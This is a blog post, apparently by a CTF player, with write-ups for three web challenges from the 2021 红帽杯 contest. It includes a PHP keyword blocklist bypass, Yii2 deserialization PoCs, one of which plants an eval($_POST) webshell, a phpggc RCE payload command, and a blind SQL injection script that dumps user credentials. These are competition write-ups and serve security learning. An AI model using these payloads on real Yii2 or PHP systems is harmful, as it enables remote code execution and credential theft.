2021 红帽杯前3Web题 Writeup
2021-5-9
| 2023-4-13
0  |  0 分钟
type
Post
status
Published
date
May 9, 2021
slug
2021/2021hmb
summary
今年红帽杯好像难度比往年友好了不少 (
tags
CTF比赛
category
比赛Writeup
icon
password
今年红帽杯好像难度比往年友好了不少 (

find_it

目录爆破 > robots.txt > 1ndexx.php > 尝试常见信息泄漏得 .1ndexx.php.swp
<?php $link = mysql_connect('localhost', 'root'); ?> <html> <head> <title>Hello worldd!</title> <style> body { background-color: white; text-align: center; padding: 50px; font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif; } #logo { margin-bottom: 40px; } </style> </head> <body> <img id="logo" src="logo.png" /> <h1><?php echo "Hello My freind!"; ?></h1> <?php if($link) { ?> <h2>I Can't view my php files?!</h2> <?php } else { ?> <h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2> <?php } ?> </body> </html> <?php #Really easy... $file=fopen("flag.php","r") or die("Unable 2 open!"); $I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php")); $hack=fopen("hack.php","w") or die("Unable 2 open"); $a=$_GET['code']; if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){ die("you die"); } if(strlen($a)>33){ die("nonono."); } fwrite($hack,$a); fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh); fclose($file); fclose($hack); ?>
写入 phpinfo
notion image
访问 hack.php 在 phpinfo 页面搜索 flag 关键字即可
notion image

framework

目录爆破得源码 www.zip
看网页源码和源码易知框架为 Yii2
找控制器,
notion image
刚好之前复现了一点 yii2 的反序列化,不过没详细分析
不过知道控制点在
notion image
即通过 call_user_func 调用函数,找个POC,有兴趣可以看看分析过程,传送门
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'phpinfo'; $this->id = "123"; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['isRunning'] = [new CreateAction(), 'run']; } } } // poc2 namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct() { $this->processes = [new Generator()]; } } } namespace{ // 生成poc echo base64_encode(serialize(new Codeception\Extension\RunProcess())); } ?>
Yii2 的控制器路由说明(即 index.php?r=site/about&message= 部分)可参考
构造 EXP
notion image
搜了下发现有 disable function 禁用了这些函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl,mail,putenv,error_log,error_reporting,unset,unlink,return
虽然没有过滤 eval 但 call_user_func 第一个参数只能为回调函数,试了很久,发现 assert 可用,于是构造POC。
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'assert'; $this->id = 'file_put_contents("/var/www/html/web/j.php", \'<?php eval($_POST["s"]); ?>\');'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['isRunning'] = [new CreateAction(), 'run']; } } } // poc2 namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct() { $this->processes = [new Generator()]; } } } namespace{ // 生成poc echo base64_encode(serialize(new Codeception\Extension\RunProcess())); } ?>
写入一句话,连接
notion image
因为有 disable function 限制执行命令,因此需要bypass
尝试常用bypass 方法
notion image
无效,然后下面链接有一些姿势没来得及试,等复现出来可以试试
坐等其他师傅WP (
5月12日更新

突然发现了简单的做法,没想到 phpggc 自定义代码功能还挺好用的
phpggc Yii2/RCE2 'eval($_REQUEST["ant"]);' | base64
然后绕过 disable function 的方法是 Apache_mode_cgi,晚些搭环境看看为啥比赛时我没法成功绕过的..

WebsiteManger

注入点在 image.php
二分法时间延迟注入
脚本来自 Challenger 师傅
import requests url = 'http://eci-2zefme7yqvztnh81ouvm.cloudeci1.ichunqiu.com/image.php?id=' flag = "" for i in range(1,100): low = 32 high = 128 while low < high: mid = int((low + high) / 2) content = "select/**/group_concat(username,':',password)/**/from/**/users" sql = f"if(ascii(substr(({content}),{i},1))<{mid},1,2)" url2 = url+sql r = requests.get(url2) if len(r.content) == 50811: high = mid else: low = mid + 1 if low == high == 32: print("{}".format(flag)) break flag += chr(int((high + low - 1) / 2)) print("flag : {}".format(flag))
notion image
使用 admin 和 密码 登录后 SSRF 即可
notion image
 
5月12日更新

看到有人说 modify.php 是可以未授权访问的…
 

ezlight

还没看。。。撇了一眼源码,好像是 Laravel?出题人怕不是在 ctfshow 出题的。。
一个 Yii2 一个 Laravel。。。
5月12日更新

晚点如果有环境就复现吧(
 

总结

emm,不知怎么回事,第一题一开始访问 .1ndexx.php.swp 竟然没反应,当然还试了 gedit 的 xx~,佛了
第二题,,一开始 assert 用不了,说什么参数不能是可控的,后面又行了,,这中间找函数和尝试浪费了好多好多时间。。。导致后面绕过 disable function 时间不够。
第三题,总体难度不大 (逃
反思:
虽然之前看了很多 disable function bypass 的文章,但是没动手做过,不够熟练,
 
把常用 disable function bypass 过一遍
刷了部分然后一直在吃灰的 sqli-labs 是时候理理了…
 
比赛Writeup
  • CTF比赛
  • 面白i安全小记 | 中国菜刀之连不上的奇怪马2021CSTC网络安全技术大赛 Write
    目录